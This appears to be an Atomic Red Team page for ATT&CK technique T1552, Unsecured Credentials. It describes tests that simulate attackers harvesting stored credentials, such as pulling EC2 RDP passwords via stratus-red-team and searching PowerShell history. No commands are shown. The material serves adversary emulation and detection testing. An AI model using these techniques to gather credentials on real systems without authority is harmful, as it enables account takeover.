# T1552 - Unsecured Credentials ## Description from ATT&CK > Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix) [Source](https://attack.mitre.org/techniques/T1552) ## Atomic Tests - [Atomic Test #1: AWS - Retrieve EC2 Password Data using stratus](#atomic-test-1-aws---retrieve-ec2-password-data-using-stratus) - [Atomic Test #2: Search for Passwords in Powershell History](#atomic-test-2-search-for-passwords-in-powershell-history) ### Atomic Test #1: AWS - Retrieve EC2 Password Data using stratus This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment.
